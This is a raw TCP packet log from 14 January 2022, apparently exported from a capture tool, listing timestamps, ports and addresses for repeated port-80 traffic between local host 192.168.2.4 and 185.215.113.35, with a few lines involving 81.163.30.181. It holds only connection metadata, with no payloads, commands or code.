Jan 14, 2022 12:30:21.277801037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.277921915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.278032064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.278141975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.278249979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.278354883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.278458118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.278567076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.279022932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.279134989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.307584047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.307745934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.307861090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.307961941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.308060884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.308152914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.308254004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.308346033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.308450937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.308543921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.308645964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.308748007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.311566114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.312716007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.312835932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.312958002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.313069105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.313170910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.313271999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.313385963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.313474894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.313590050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.313694000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.313822985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.313915014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.314016104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.314114094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.314860106 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.320230007 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.320270061 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.323132992 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.329946041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.330101013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.330203056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.330312967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.330425978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.330533981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.330636978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.330737114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.330842972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.330959082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.331062078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.331172943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.331276894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.331373930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.331479073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.331588030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.331924915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.332040071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.332128048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.332228899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.332333088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.332452059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.332551956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.332690954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.333353043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.334012032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.334124088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.334774971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.335416079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.336057901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.336694956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.337327957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.337970972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.339260101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.339385033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.339493990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.339596987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.339725018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.339829922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.339992046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.340043068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.340146065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.340253115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.340346098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.340466022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.340559006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.340699911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.341948986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.341968060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.342127085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.342233896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.342334032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.342434883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.342519999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.342617035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.342873096 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.342911005 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.343247890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.343358040 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.343365908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.343391895 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.343471050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.343574047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.343729019 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.343875885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.343935013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.344042063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.344146967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.344242096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.344357014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.344453096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.344563007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.344660997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.344768047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.344866991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.344979048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.345189095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.345207930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.345587015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.346646070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.346776962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.368207932 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.374418974 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.374448061 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.375111103 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.399349928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.399560928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.399698019 CET	49931	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.399775028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.399920940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.400058031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.400191069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.400310993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.400449991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.400561094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.400707006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.400825977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.400969028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.401082993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.401205063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.401284933 CET	49932	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.401312113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.401411057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.401506901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.401606083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.401706934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.401806116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.401905060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.402004004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.402110100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.402206898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.402299881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.402403116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.402498960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.402601957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.402699947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.402793884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.402896881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.403269053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.403528929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.403810024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.403908014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.404117107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.404345989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.404393911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.404500961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.404599905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.404733896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.404834032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.404932976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.405164957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.405283928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.405395031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.405467987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.405571938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.405674934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.405774117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.405874014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.405975103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.406069994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.406164885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.406263113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.406358004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.406455994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.406552076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.406888008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.407021046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.407107115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.407206059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.407303095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.407402039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.407502890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.407599926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.407700062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.407797098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.407895088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.408005953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.408091068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.408191919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.408284903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.408381939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.408480883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.408581972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.408680916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.408777952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.408874035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.408974886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.409071922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.409169912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.409276009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.409363985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.409465075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.409562111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.409702063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.409802914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.409904003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.410001993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.410100937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.411218882 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.411235094 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.420784950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.420983076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.421088934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.421179056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.421264887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.421358109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.421442986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.421534061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.421623945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.428188086 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.428209066 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.428217888 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.428354979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.429625988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.429733992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.429838896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.429944992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.430043936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.430144072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.430242062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.430350065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.430450916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.430547953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.434053898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.436870098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.436974049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.437413931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.461210966 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.461231947 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.461240053 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.461951017 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.461971998 CET	80	49931	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.461993933 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.462019920 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.462037086 CET	80	49932	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.462065935 CET	49931	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.462131023 CET	49932	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.463536978 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.465476990 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.465497017 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.465507984 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.467197895 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.467219114 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.467231035 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.467243910 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.467256069 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.467269897 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:21.467344999 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:21.467962027 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.468601942 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.469594955 CET	49926	80	192.168.2.4	81.163.30.181
Jan 14, 2022 12:30:21.472067118 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.472085953 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.472094059 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.472106934 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.472114086 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.472126007 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.473098040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.473257065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.473354101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.473443985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.473531008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.473624945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.473721027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.473819971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.473912001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.473980904 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.474009037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.474109888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.474203110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.476483107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.478080988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.478188992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.478298903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.478406906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.478503942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.478606939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.478710890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.478807926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.478914022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.479016066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.479123116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.479228973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.479330063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.479429007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.479526997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.479626894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.479732037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.479835033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.479938984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.480045080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.480143070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.480246067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.480345011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.480452061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.480552912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.480655909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.480755091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.480859041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.480957985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.481067896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.481168985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.481267929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.481373072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.481472015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.481579065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.481695890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.481796026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.481901884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.482000113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.482109070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.482215881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.482312918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.482417107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.482517958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.482624054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.482812881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.482912064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.483009100 CET	49914	80	192.168.2.4	185.215.113.35
